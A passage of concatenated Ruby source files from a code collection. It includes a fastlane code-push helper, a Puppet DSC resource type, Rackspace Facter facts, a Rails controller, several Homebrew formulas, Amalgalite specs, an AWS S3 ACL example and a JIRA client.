def self.log_in(access_key)
Action.sh("code-push login --accessKey #{access_key}", print_command: false)
rescue
UI.user_error!("something went wrong during login with access key #{access_key}")
end
def self.log_out
Action.sh("code-push logout")
rescue
end
def self.is_logged_in
value = true
begin
Action.sh("code-push whoami", false)
rescue
value = false
end
value
end
end
end
end
| 22.384615 | 89 | 0.592784 |
e2173dad94b04b650c8bb79a12989ece1b8b61d5 | 13,497 | require 'pathname'
Puppet::Type.newtype(:dsc_xrdsessioncollectionconfiguration) do
require Pathname.new(__FILE__).dirname + '../../' + 'puppet/type/base_dsc'
require Pathname.new(__FILE__).dirname + '../../puppet_x/puppetlabs/dsc_type_helpers'
@doc = %q{
The DSC xRDSessionCollectionConfiguration resource type.
Automatically generated from
'xRemoteDesktopSessionHost/DSCResources/MSFT_xRDSessionCollectionConfiguration/MSFT_xRDSessionCollectionConfiguration.schema.mof'
To learn more about PowerShell Desired State Configuration, please
visit https://technet.microsoft.com/en-us/library/dn249912.aspx.
For more information about built-in DSC Resources, please visit
https://technet.microsoft.com/en-us/library/dn249921.aspx.
For more information about xDsc Resources, please visit
https://github.com/PowerShell/DscResources.
}
validate do
fail('dsc_collectionname is a required attribute') if self[:dsc_collectionname].nil?
end
def dscmeta_resource_friendly_name; 'xRDSessionCollectionConfiguration' end
def dscmeta_resource_name; 'MSFT_xRDSessionCollectionConfiguration' end
def dscmeta_module_name; 'xRemoteDesktopSessionHost' end
def dscmeta_module_version; '1.3.0.0' end
newparam(:name, :namevar => true ) do
end
ensurable do
newvalue(:exists?) { provider.exists? }
newvalue(:present) { provider.create }
defaultto { :present }
end
# Name: PsDscRunAsCredential
# Type: MSFT_Credential
# IsMandatory: False
# Values: None
newparam(:dsc_psdscrunascredential) do
def mof_type; 'MSFT_Credential' end
def mof_is_embedded?; true end
desc "PsDscRunAsCredential"
validate do |value|
unless value.kind_of?(Hash)
fail("Invalid value '#{value}'. Should be a hash")
end
PuppetX::Dsc::TypeHelpers.validate_MSFT_Credential("Credential", value)
end
end
# Name: CollectionName
# Type: string
# IsMandatory: True
# Values: None
newparam(:dsc_collectionname) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "CollectionName - Specifies the name of a session collection. "
isrequired
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: ActiveSessionLimitMin
# Type: uint32
# IsMandatory: False
# Values: None
newparam(:dsc_activesessionlimitmin) do
def mof_type; 'uint32' end
def mof_is_embedded?; false end
desc "ActiveSessionLimitMin - Specifies the maximum time, in minutes, an active session runs. After this period, the RD Session Host server ends the session. "
validate do |value|
unless (value.kind_of?(Numeric) && value >= 0) || (value.to_i.to_s == value && value.to_i >= 0)
fail("Invalid value #{value}. Should be a unsigned Integer")
end
end
munge do |value|
PuppetX::Dsc::TypeHelpers.munge_integer(value)
end
end
# Name: AuthenticateUsingNLA
# Type: boolean
# IsMandatory: False
# Values: None
newparam(:dsc_authenticateusingnla) do
def mof_type; 'boolean' end
def mof_is_embedded?; false end
desc "AuthenticateUsingNLA - Indicates whether to use Network Level Authentication (NLA). If this value is $True, Remote Desktop uses NLA to authenticate a user before the user sees a logon screen. "
validate do |value|
end
newvalues(true, false)
munge do |value|
PuppetX::Dsc::TypeHelpers.munge_boolean(value.to_s)
end
end
# Name: AutomaticReconnectionEnabled
# Type: boolean
# IsMandatory: False
# Values: None
newparam(:dsc_automaticreconnectionenabled) do
def mof_type; 'boolean' end
def mof_is_embedded?; false end
desc "AutomaticReconnectionEnabled - Indicates whether the Remote Desktop client attempts to reconnect after a connection interruption. "
validate do |value|
end
newvalues(true, false)
munge do |value|
PuppetX::Dsc::TypeHelpers.munge_boolean(value.to_s)
end
end
# Name: BrokenConnectionAction
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_brokenconnectionaction) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "BrokenConnectionAction - Specifies an action for an RD Session Host server to take after a connection interruption. The acceptable values for this parameter are: None, Disconnect, LogOff."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: ClientDeviceRedirectionOptions
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_clientdeviceredirectionoptions) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "ClientDeviceRedirectionOptions - Specifies a type of client device to be redirected to an RD Session Host server in this session collection. The acceptable values for this parameter are: None, AudioVideoPlayBack, AudioRecording, COMPort, PlugAndPlayDevice, SmartCard, Clipboard, LPTPort, Drive, TimeZone. You can use binary-or to combine two or more values of this enum to specify multiple client device types."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: ClientPrinterAsDefault
# Type: boolean
# IsMandatory: False
# Values: None
newparam(:dsc_clientprinterasdefault) do
def mof_type; 'boolean' end
def mof_is_embedded?; false end
desc "ClientPrinterAsDefault - Indicates whether to use the client printer or server printer as the default printer. If this value is $True, use the client printer as default. If this value is $False, use the server as default."
validate do |value|
end
newvalues(true, false)
munge do |value|
PuppetX::Dsc::TypeHelpers.munge_boolean(value.to_s)
end
end
# Name: ClientPrinterRedirected
# Type: boolean
# IsMandatory: False
# Values: None
newparam(:dsc_clientprinterredirected) do
def mof_type; 'boolean' end
def mof_is_embedded?; false end
desc "ClientPrinterRedirected - Indicates whether to use client printer redirection, which routes print jobs from the Remote Desktop session to a printer attached to the client computer."
validate do |value|
end
newvalues(true, false)
munge do |value|
PuppetX::Dsc::TypeHelpers.munge_boolean(value.to_s)
end
end
# Name: CollectionDescription
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_collectiondescription) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "CollectionDescription - Specifies a description of the session collection. "
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: ConnectionBroker
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_connectionbroker) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "ConnectionBroker - Specifies the Remote Desktop Connection Broker (RD Connection Broker) server for a Remote Desktop deployment."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: CustomRdpProperty
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_customrdpproperty) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "CustomRdpProperty - Specifies Remote Desktop Protocol (RDP) settings to include in the .rdp files for all Windows Server 2012 RemoteApp programs and remote desktops published in this collection. "
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: DisconnectedSessionLimitMin
# Type: uint32
# IsMandatory: False
# Values: None
newparam(:dsc_disconnectedsessionlimitmin) do
def mof_type; 'uint32' end
def mof_is_embedded?; false end
desc "DisconnectedSessionLimitMin - Specifies a length of time, in minutes. After client disconnection from a session for this period, the RD Session Host ends the session."
validate do |value|
unless (value.kind_of?(Numeric) && value >= 0) || (value.to_i.to_s == value && value.to_i >= 0)
fail("Invalid value #{value}. Should be a unsigned Integer")
end
end
munge do |value|
PuppetX::Dsc::TypeHelpers.munge_integer(value)
end
end
# Name: EncryptionLevel
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_encryptionlevel) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "EncryptionLevel - Specifies the level of data encryption used for a Remote Desktop session. The acceptable values for this parameter are: Low, ClientCompatible, High, FipsCompliant. The default value is ClientCompatible."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: IdleSessionLimitMin
# Type: uint32
# IsMandatory: False
# Values: None
newparam(:dsc_idlesessionlimitmin) do
def mof_type; 'uint32' end
def mof_is_embedded?; false end
desc "IdleSessionLimitMin - Specifies the length of time, in minutes, to wait before an RD Session Host logs off or disconnects an idle session. The BrokenConnectionAction parameter determines whether to log off or disconnect. "
validate do |value|
unless (value.kind_of?(Numeric) && value >= 0) || (value.to_i.to_s == value && value.to_i >= 0)
fail("Invalid value #{value}. Should be a unsigned Integer")
end
end
munge do |value|
PuppetX::Dsc::TypeHelpers.munge_integer(value)
end
end
# Name: MaxRedirectedMonitors
# Type: uint32
# IsMandatory: False
# Values: None
newparam(:dsc_maxredirectedmonitors) do
def mof_type; 'uint32' end
def mof_is_embedded?; false end
desc "MaxRedirectedMonitors - Specifies the maximum number of client monitors that an RD Session Host server can redirect to a remote session. The highest value for this parameter is 16."
validate do |value|
unless (value.kind_of?(Numeric) && value >= 0) || (value.to_i.to_s == value && value.to_i >= 0)
fail("Invalid value #{value}. Should be a unsigned Integer")
end
end
munge do |value|
PuppetX::Dsc::TypeHelpers.munge_integer(value)
end
end
# Name: RDEasyPrintDriverEnabled
# Type: boolean
# IsMandatory: False
# Values: None
newparam(:dsc_rdeasyprintdriverenabled) do
def mof_type; 'boolean' end
def mof_is_embedded?; false end
desc "RDEasyPrintDriverEnabled - Specifies whether to enable the Remote Desktop Easy Print driver."
validate do |value|
end
newvalues(true, false)
munge do |value|
PuppetX::Dsc::TypeHelpers.munge_boolean(value.to_s)
end
end
# Name: SecurityLayer
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_securitylayer) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "SecurityLayer - Specifies which security protocol to use. The acceptable values for this parameter are: RDP, Negotiate, SSL. The default value is Negotiate."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: TemporaryFoldersDeletedOnExit
# Type: boolean
# IsMandatory: False
# Values: None
newparam(:dsc_temporaryfoldersdeletedonexit) do
def mof_type; 'boolean' end
def mof_is_embedded?; false end
desc "TemporaryFoldersDeletedOnExit - Specifies whether to delete temporary folders from the RD Session Host server for a disconnected session. "
validate do |value|
end
newvalues(true, false)
munge do |value|
PuppetX::Dsc::TypeHelpers.munge_boolean(value.to_s)
end
end
# Name: UserGroup
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_usergroup) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "UserGroup - Specifies a domain group authorized to connect to the RD Session Host servers in a session collection. "
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
def builddepends
pending_relations = super()
PuppetX::Dsc::TypeHelpers.ensure_reboot_relationship(self, pending_relations)
end
end
Puppet::Type.type(:dsc_xrdsessioncollectionconfiguration).provide :powershell, :parent => Puppet::Type.type(:base_dsc).provider(:powershell) do
confine :true => (Gem::Version.new(Facter.value(:powershell_version)) >= Gem::Version.new('5.0.10240.16384'))
defaultfor :operatingsystem => :windows
mk_resource_methods
end
| 36.088235 | 422 | 0.688301 |
4a76ce13d005883f328d13d153297853f4993ac3 | 900 | # Purpose: Determine information about Rackspace cloud instances
#
# Resolution:
# If this is a Rackspace Cloud instance, populates rsc_ facts
#
# Caveats:
# Depends on Xenstore
#
# Source: https://github.com/katzj/facter/blob/cc5b2e4fa26371fe392a7ba858a779e76afba223/lib/facter/rackspace.rb
Facter.add(:is_rsc) do
setcode do
result = Facter::Util::Resolution.exec("/usr/bin/xenstore-read vm-data/provider_data/provider")
if result == "Rackspace"
"true"
end
end
end
Facter.add(:rsc_region) do
confine :is_rsc => "true"
setcode do
Facter::Util::Resolution.exec("/usr/bin/xenstore-read vm-data/provider_data/region")
end
end
Facter.add(:rsc_instance_id) do
confine :is_rsc => "true"
setcode do
result = Facter::Util::Resolution.exec("/usr/bin/xenstore-read name")
if result and (match = result.match(/instance-(.*)/))
match[1]
end
end
end
| 25 | 111 | 0.708889 |
bfec7fe89068a3de82216c166fa90fcca862d73d | 1,540 | # frozen_string_literal: true
require 'round_robin_tournament'
class Api::SeasonsController < ApplicationController
include GamesCreator, TeamsCreator, PlayersCreator, LeagueCalculator
def create
:authenticate_user!
cpu_opponent = User.create(email: 'cpu_opponent' + current_user.id.to_s + '@mail.com', password: 'password')
if !cpu_opponent.persisted?
cpu_opponent = User.find_by(email: 'cpu_opponent' + current_user.id.to_s + '@mail.com')
end
player_team = Team.where(id: params[:team_id])
season = Season.create
season.teams << player_team[0]
(0..4).each do |i|
team_name = team_name_generator(i)
team = Team.create(name: team_name,
primary_color: 'white',
secondary_color: 'red',
user_id: cpu_opponent.id,
cpu_team: true)
if team.persisted?
players = generate_players(team.id)
season.teams << team
else
render json: { error: team.errors.full_messages }, status: 422
break
end
end
schedule = generate_games(season)
season.update(total_rounds: schedule.length)
render json: [season, season.teams, schedule], status: 200
end
def show ##two shows dependent on completed or not
:authenticate_user!
season = Season.find(params[:id])
league_table_info = []
league_table_info = league_table_calculator(season)
render json: league_table_info.sort_by{|x| [x[9], x[8]] }.reverse
end
end
| 28.518519 | 112 | 0.648052 |
7ac71f2d4c19ada30817dab262e360707cd221ce | 1,103 | class Infrakit < Formula
desc "Toolkit for creating and managing declarative infrastructure"
homepage "https://github.com/docker/infrakit"
url "https://github.com/docker/infrakit.git",
:tag => "v0.5",
:revision => "3d2670e484176ce474d4b3d171994ceea7054c02"
bottle do
cellar :any_skip_relocation
sha256 "577be79865b3ee5eb331fc80e79112e71110b2c2a34887a4efb43ac5fa0ac67f" => :high_sierra
sha256 "46da3285072da2574ed804c2c243b377f794642ea280744abd7e91fed5577048" => :sierra
sha256 "b4581c8bf2de6220369a79ab9928ee09cf43038dc6c03169416a13a959de3ffd" => :el_capitan
end
depends_on "go" => :build
depends_on "libvirt" => :build
def install
ENV["GOPATH"] = buildpath
(buildpath/"src/github.com/docker/infrakit").install buildpath.children
cd "src/github.com/docker/infrakit" do
system "make", "cli"
bin.install "build/infrakit"
prefix.install_metafiles
end
end
test do
ENV["INFRAKIT_HOME"] = testpath
ENV["INFRAKIT_CLI_DIR"] = testpath
assert_match revision.to_s, shell_output("#{bin}/infrakit version")
end
end
| 32.441176 | 93 | 0.737081 |
1a2c0eb07c4474ccc06cf84e3696d5f7298d1606 | 450 | require "spec_helper"
RSpec.describe Schmuck do
it "has a version number" do
expect(Schmuck::VERSION).not_to be nil
end
let(:hashes) {
(1..5).map do |n|
{
integer: n,
float: n.to_f,
double: n * 2,
square: n ** 2,
multiples: [n * 2, n * 3, n * 4]
}
end
}
it "does something useful" do
expect(
hashes.map(&'[multiples][1]')
).to eq([3, 6, 9, 12, 15])
end
end
| 17.307692 | 42 | 0.508889 |
28b24d84c63b00948c7cb7ea231ba1400ee1e7d4 | 1,511 | # frozen_string_literal: true
RSpec.feature 'category' do
let!(:category) { categories(:category_parent) }
let!(:category_child) { categories(:category) }
let(:user) { users(:admin_org) }
before do
visit subdomain_root_url
sign_in user
end
it 'allows user to create a category' do
visit categories_url(subdomain: 'admin')
find_link('+ New').click
fill_in 'Name', with: 'pineapple'
fill_in 'Description', with: 'sweet'
fill_in 'Parent', with: '1'
click_button 'Create Category'
expect(page).to have_content 'Category was successfully created.'
end
it 'allows user to update a category' do
visit categories_url(subdomain: 'admin')
click_link category.name
expect(page).to have_content category.name
find_link('Edit').click
fill_in 'Name', with: 'orange'
click_button 'Update Category'
expect(page).to have_content 'Category was successfully updated.'
expect(page).to have_content 'orange'
end
it 'allows user to delete a category' do
visit categories_url(subdomain: 'admin')
expect(page).to have_content category.name
find_link('Destroy').click
expect(page).to have_content 'Category was successfully destroyed.'
end
it 'expands the subcategories table' do
visit(categories_url(subdomain: 'admin'))
expect(page).to have_content(category.name)
expect(page).not_to have_content(category_child.name)
find_link('+').click
expect(page).to have_content(category_child.name)
end
end
| 30.22 | 71 | 0.714758 |
39a74818a9320c67cb30466907191080670bcf75 | 188 | #!/bin/ruby
n,t = gets.strip.split(' ').map(&:to_i)
width = gets.strip.split(' ').map(&:to_i)
for a0 in (0..t-1)
i,j = gets.strip.split(' ').map(&:to_i)
puts width[i..j].min
end
| 18.8 | 43 | 0.56383 |
e96abeb8d98d642044297bdd26cf29dd400642f7 | 5,113 | require 'spec_helper'
describe Amalgalite::Statement do
before(:each) do
@db = Amalgalite::Database.new( SpecInfo.test_db )
end
after(:each) do
@db.close
end
it "a statement has a copy of the sql it was prepared with" do
stmt = @db.prepare( "SELECT strftime('%Y-%m-%d %H:%M:%S', 'now')")
stmt.sql.should eql("SELECT strftime('%Y-%m-%d %H:%M:%S', 'now')")
stmt.close
end
it "steps through results" do
now = Time.new.utc.strftime("%Y-%m-%d %H:%M")
@db.prepare( "SELECT strftime('%Y-%m-%d %H:%M', 'now') as now") do |stmt|
stmt.should_not eql(nil)
stmt.each do |row|
row['now'].should eql(now)
end
end
end
it "can prepare a statement without a block" do
stmt = @iso_db.prepare("SELECT * FROM country WHERE two_letter = :two")
rs = stmt.execute( ":two" => "JP" )
rs.size.should eql(1)
stmt.close
end
it "knows how many parameters are in the statement" do
@iso_db.prepare("SELECT * FROM country WHERE two_letter = :two") do |stmt|
stmt.check_parameter_count!( 1 ).should eql(1)
end
end
it "raises an error if there are not enough parameters are passed in a statement" do
@iso_db.prepare("SELECT * FROM country WHERE two_letter = :two") do |stmt|
lambda{ stmt.execute }.should raise_error( Amalgalite::Error )
end
end
it "can run a query with a named parameter" do
@iso_db.prepare("SELECT * FROM country WHERE two_letter = :two") do |stmt|
all_rows = stmt.execute( ":two" => "JP" )
all_rows.size.should eql(1)
all_rows.first['name'].should eql("Japan")
end
end
it "it can execute a query with a named parameter and yield the rows" do
@iso_db.prepare("SELECT * FROM country WHERE id = @id ORDER BY name") do |stmt|
rows = []
stmt.execute( "@id" => 891 ) do |row|
rows << row
end
rows.size.should eql(2)
rows.last['name'].should eql("Yugoslavia")
rows.first['two_letter'].should eql("CS")
end
end
it "can execute the same prepared statement multiple times" do
@db.execute(" CREATE TABLE t(x,y); ")
values = {}
@db.prepare("INSERT INTO t( x, y ) VALUES( $x, $y )" ) do |stmt|
20.times do |x|
y = rand( x )
stmt.execute( { "$x" => x, "$y" => y } )
values[x] = y
end
end
c = 0
@db.execute("SELECT * from t") do |row|
c += 1
values[ row['x'] ].should eql(row['y'])
end
c.should eql(20)
end
it "expands an array when binding parameters" do
@db.execute(" CREATE TABLE t(x,y); ")
values = {}
@db.prepare( "INSERT INTO t( x, y ) VALUES( ?, ? )") do |stmt|
20.times do |x|
y = rand( x )
a = [ x, y ]
stmt.execute( a )
values[x] = y
end
end
c = 0
@db.execute("SELECT * from t") do |row|
c += 1
values[ row['x'] ].should eql(row['y'])
end
c.should eql(20)
end
it "binds a integer variable correctly" do
@iso_db.prepare("SELECT * FROM country WHERE id = ? ORDER BY name ") do |stmt|
all_rows = stmt.execute( 891 )
all_rows.size.should eql(2)
all_rows.last['name'].should eql("Yugoslavia")
all_rows.first['two_letter'].should eql("CS")
end
end
it "raises and error if an invaliding binding is attempted" do
@iso_db.prepare("SELECT * FROM country WHERE id = :somevar ORDER BY name ") do |stmt|
lambda{ stmt.execute( "blah" => 42 ) }.should raise_error(Amalgalite::Error)
end
end
it "can reset the statement to the state it was before executing" do
stmt = @iso_db.prepare("SELECT * FROM country WHERE id = :somevar ORDER BY name ")
stmt.reset_and_clear_bindings!
stmt.close
end
it "can execute a single sql command and say if there is remaining sql to execute" do
stmt = @db.prepare( @schema )
stmt.execute
stmt.remaining_sql.size.should be > 0
stmt.close
end
it "can select the rowid from the table" do
db = Amalgalite::Database.new( ":memory:" )
db.execute( "create table t1(c1,c2,c3)" )
db.execute("insert into t1(c1,c2,c3) values (1,2,'abc')")
rows = db.execute( "select rowid,* from t1")
rows.size.should eql(1)
rows.first['rowid'].should eql(1)
rows.first['c1'].should eql(1 )
rows.first['c3'].should eql('abc')
end
it "shows that the rowid column is rowid column" do
db = Amalgalite::Database.new( ":memory:" )
db.execute( "create table t1(c1,c2,c3)" )
db.execute("insert into t1(c1,c2,c3) values (1,2,'abc')")
db.prepare( "select oid,* from t1" ) do |stmt|
stmt.execute
stmt.should be_using_rowid_column
end
db.prepare( "select * from t1" ) do |stmt|
stmt.execute
stmt.should_not be_using_rowid_column
end
end
it "has index based access to the result set" do
@iso_db.prepare("SELECT * FROM country WHERE id = ? ORDER BY name ") do |stmt|
all_rows = stmt.execute( 891 )
all_rows.size.should eql(2)
all_rows.last.first.should eql("Yugoslavia")
all_rows.first[1].should eql("CS")
end
end
end
| 30.254438 | 89 | 0.610209 |
6174cad0cd5b9f92289d8df036f1b49ce7ab9f90 | 1,828 | class Libolm < Formula
desc "Implementation of the Double Ratchet cryptographic ratchet"
homepage "https://gitlab.matrix.org/matrix-org/olm"
url "https://gitlab.matrix.org/matrix-org/olm/-/archive/3.2.6/olm-3.2.6.tar.gz"
sha256 "9b61bd9182bb0ae0c5a800a8b0496b69600a0a22e3a21fce0aad119d2b1c99ae"
license "Apache-2.0"
bottle do
sha256 cellar: :any, arm64_big_sur: "a0d40c19dde560b6c429ede66a7c549f46c36f58872a055e6fcacb24b565d72f"
sha256 cellar: :any, big_sur: "9b0fa6f2b8bcf26a480b43cf8fd38bdd474f2296d1a13a378228468811ba3876"
sha256 cellar: :any, catalina: "dbc06704bf32fedbfd2c8aad88ba9d504e44d055c553d22677298ec877f40c8a"
sha256 cellar: :any, mojave: "be9653954751491a58c54ea5f9c0e6284af4975a8d09f0c4248d14ec735e0d5b"
sha256 cellar: :any_skip_relocation, x86_64_linux: "3fcdb358514800ef0cf2248b20b36e57ee1faf258936514a05b2d821e5322bfd"
end
depends_on "cmake" => :build
def install
system "cmake", ".", "-Bbuild", "-DCMAKE_INSTALL_PREFIX=#{prefix}"
system "cmake", "--build", "build", "--target", "install"
end
test do
(testpath/"test.cpp").write <<~EOS
#include <iostream>
#include <vector>
#include <stdlib.h>
#include "olm/olm.h"
using std::cout;
int main() {
void * utility_buffer = malloc(::olm_utility_size());
::OlmUtility * utility = ::olm_utility(utility_buffer);
uint8_t output[44];
::olm_sha256(utility, "Hello, World", 12, output, 43);
output[43] = '\0';
cout << output;
return 0;
}
EOS
system ENV.cc, "test.cpp", "-L#{lib}", "-lolm", "-lstdc++", "-o", "test"
assert_equal "A2daxT/5zRU1zMffzfosRYxSGDcfQY3BNvLRmsH76KU", shell_output("./test").strip
end
end
| 37.306122 | 122 | 0.666302 |
2132d6a9a5031f7c5c5cccb5a9e27e5b5c834ad1 | 2,123 | # Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
# SPDX - License - Identifier: Apache - 2.0
# Purpose
# This code example demonstrates how to list the access control lists (ACLs) for an
# object in an Amazon Simple Storage Service (Amazon S3) bucket.
# snippet-start:[s3.s3_get_bucket_object_acls.rb]
require 'aws-sdk-s3'
# Prerequisites:
#
# - An Amazon S3 bucket.
# - An object in the bucket.
#
# @param s3_client [Aws::S3::Client] An initialized Amazon S3 client.
# @param bucket_name [String] The name of the bucket.
# @param object_key [String] The name of the object.
# @return [String] Information about the ACLs.
# @example
# list_object_acls(
# Aws::S3::Client.new(region: 'us-west-2'),
# 'doc-example-bucket',
# 'my-file.txt'
# )
def list_object_acls(s3_client, bucket_name, object_key)
response = s3_client.get_object_acl(bucket: bucket_name, key: object_key)
if response.grants.count.zero?
puts 'No ACLs for this object.'
else
puts
puts "Owner #{response.owner.display_name}"
puts
response.grants.each do |grant|
grantee = grant.grantee
if grantee.type == 'Group'
puts 'Grantee GROUP'
puts 'URI ' + grantee.uri
else
if grantee.display_name.nil?
puts 'Grantee EVERYONE'
else
puts 'Grantee ' + grantee.display_name
end
if grantee.id.nil?
puts 'ID NONE'
else
puts 'ID ' + grantee.id
end
end
puts 'Permission ' + grant.permission
puts
end
end
rescue StandardError => e
puts "Error getting bucket ACLs: #{e.message}"
end
# Replace us-west-2 with the AWS Region you're using for Amazon S3.
def run_me
bucket_name = 'doc-example-bucket'
object_key = 'my-file.txt'
region = 'us-west-2'
s3_client = Aws::S3::Client.new(region: region)
list_object_acls(s3_client, bucket_name, object_key)
end
run_me if $PROGRAM_NAME == __FILE__
# snippet-end:[s3.s3_get_bucket_object_acls.rb]
| 29.486111 | 84 | 0.634951 |
4a4cedc5662ae8de28dcae5e13d4372164169411 | 724 | class SmartphoneNavbarView < UIView
include NavbarModule
def init_with_frame(frame, titleText: titleText, delegate: delegate)
self.initWithFrame(frame)
init_view_with_delegate(delegate, titleText: titleText)
build_view
self
end
def init_view_with_delegate(delegate, titleText: titleText )
@pos_x_back_button = 0.00
@pos_x_label = 0.085
@pos_x_button_1 = 0.7
@pos_x_button_2 = 0.8
@pos_x_button_3 = 0.9
@pos_x_searchbar = 0.425
@element_size = 48
@icon_size = 24
@label_width = 0.4
@searchbar_width = 0.25
@title_text = titleText
@delegate = delegate
@init = true
end
end | 21.294118 | 70 | 0.627072 |
d5935602544af5a4137778f8325eb4be46ca4398 | 126 | require 'bundler/setup'
Bundler.setup
require 'mdexport'
RSpec.configure do |config|
config.pattern = 'tests/*_spec*'
end
| 14 | 34 | 0.746032 |
bb918f53ea2f168f61416fdc815e5f6b78393499 | 312 | # frozen_string_literal: true
module MailerLite
module Middleware
# This middleware will convert empty response to {}
class FixUnparsedJson < Faraday::Response::Middleware
private
def on_complete(response)
response[:body] = {} if response[:body] == ''
end
end
end
end
| 20.8 | 57 | 0.669872 |
bbfbf8910c2ee1761ae00e26dcaf0dae4f3b26e9 | 556 | Given(/^I am on the "(.*?)" homepage$/) do |institution|
$ginstitution = institution
visit 'https://webapps' + env_config['server'] + '.cspace.berkeley.edu/' + institution
end
Then(/^I will sign in$/) do
fill_in "Username", :with => env_config['login'] + "@berkeley.edu"
fill_in "Password", :with => env_config['password']
find(:link_or_button, "Sign In").click
end
Then(/^I see "(.*?)" in "(.*?)"$/) do |items, div|
within(div) do
for item in items.split(', ')
find_link(item).visible?
end
end
end | 30.888889 | 90 | 0.595324 |
1aeaa0a98d54a65d841f580d2e1d11d2907665af | 1,869 | class Snap < Formula
desc "Tool to work with .snap files"
homepage "https://snapcraft.io/"
url "https://github.com/snapcore/snapd/releases/download/2.46/snapd_2.46.vendor.tar.xz"
version "2.46"
sha256 "c4f532018ca9d2a5f87a95909b3674f8e299e97ba5cb5575895bcdd29be23db3"
license "GPL-3.0-only"
livecheck do
url :stable
strategy :github_latest
end
bottle do
rebuild 1
sha256 cellar: :any_skip_relocation, arm64_big_sur: "736643f2e11f651d081b6515f04127c3bca06afb4b86734436d45534abead197"
sha256 cellar: :any_skip_relocation, big_sur: "9cb1d7db5a7f7854fecedf029d130977238a0ed9a8a32a4454225712d3542878"
sha256 cellar: :any_skip_relocation, catalina: "f60a56adf86fdc4c86b5d38b47f21c52e0459612c9ed7ae15905a4c838e51787"
sha256 cellar: :any_skip_relocation, mojave: "febbdc8548096fb9d0159c8b7cbaa4281ba8b868625264b254aab3ce4d2b7924"
sha256 cellar: :any_skip_relocation, x86_64_linux: "4ed92bc9ab2a0e2fe25f5b71d7d240f617a6e2e91e5bc191bb8fa3f49a9cbf5e"
end
depends_on "go" => :build
depends_on "squashfs"
def install
ENV["GOPATH"] = buildpath
ENV["GO111MODULE"] = "auto"
(buildpath/"src/github.com/snapcore/snapd").install buildpath.children
cd "src/github.com/snapcore/snapd" do
system "./mkversion.sh", version
system "go", "build", *std_go_args, "./cmd/snap"
bash_completion.install "data/completion/bash/snap"
zsh_completion.install "data/completion/zsh/_snap"
(man8/"snap.8").write Utils.safe_popen_read("#{bin}/snap", "help", "--man")
end
end
test do
(testpath/"pkg/meta").mkpath
(testpath/"pkg/meta/snap.yaml").write <<~EOS
name: test-snap
version: 1.0.0
summary: simple summary
description: short description
EOS
system "#{bin}/snap", "pack", "pkg"
system "#{bin}/snap", "version"
end
end
| 34.611111 | 122 | 0.725522 |
6a053053da2a392d64c928e38098143786e3f6b1 | 916 | #!/usr/bin/env ruby
require 'net/http'
require 'uri'
require 'cgi'
require 'json'
require 'config'
class JIRA
def self.issues
@issues ||= (
check_config!
url = "#{config['url']}/rest/api/2/search"
uri = URI.parse(url)
uri.query = URI.encode_www_form({
jql: config['query'],
maxResults: config['max_results'] || 500,
fields: 'summary,description'
})
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
request = Net::HTTP::Get.new(uri.request_uri)
request.basic_auth(config['username'], config['password'])
response = http.request(request)
data = JSON.parse(response.body)
data['issues'].inject({}) do |hash, issue|
hash[issue['key']] = {
summary: issue['fields']['summary'],
description: issue['fields']['description']
}
hash
end
)
end
end
| 21.302326 | 64 | 0.576419 |
1a9f0c808fda1d3e27a8af19e58dfae8068e0846 | 3,397 | class OpenshiftCli < Formula
desc "OpenShift command-line interface tools"
homepage "https://www.openshift.com/"
license "Apache-2.0"
head "https://github.com/openshift/oc.git"
stable do
url "https://github.com/openshift/oc.git",
tag: "openshift-clients-4.6.0-202006250705.p0",
revision: "51011e4849252c723b520643d27d3fa164d28c61"
version "4.6.0"
# Add Makefile target to build arm64 binary
# Upstream PR: https://github.com/openshift/oc/pull/889
patch :DATA
end
livecheck do
url :stable
regex(/^openshift-clients[._-](\d+(?:\.\d+)+)(?:[._-]p?\d+)?$/i)
end
bottle do
rebuild 1
sha256 cellar: :any_skip_relocation, arm64_big_sur: "bdaeb2d2bb5a31dcc8048ec1da4567ce4917f4ef4c571c24907a6bab730fa685"
sha256 cellar: :any_skip_relocation, big_sur: "fb1f2ce0b1741e9003b66883629b61d0ccfade7802b8ccc763aaccb629815177"
sha256 cellar: :any_skip_relocation, catalina: "5e8849de6efa9e03eda20c3bcffb7bdda0b26324d85d3b9f71ebdd1bfe198df0"
sha256 cellar: :any_skip_relocation, mojave: "dbeaf8a6fa3d95f78fd69a26140cdbdbee890f539e0419fc5c7757b587466ff1"
sha256 cellar: :any_skip_relocation, x86_64_linux: "c45782bfe34a2f70192cd1da387bd3c5a809aa6fab7e718f27676d67e83c337c" # linuxbrew-core
end
depends_on "coreutils" => :build
depends_on "go" => :build
depends_on "heimdal" => :build
depends_on "socat"
uses_from_macos "krb5"
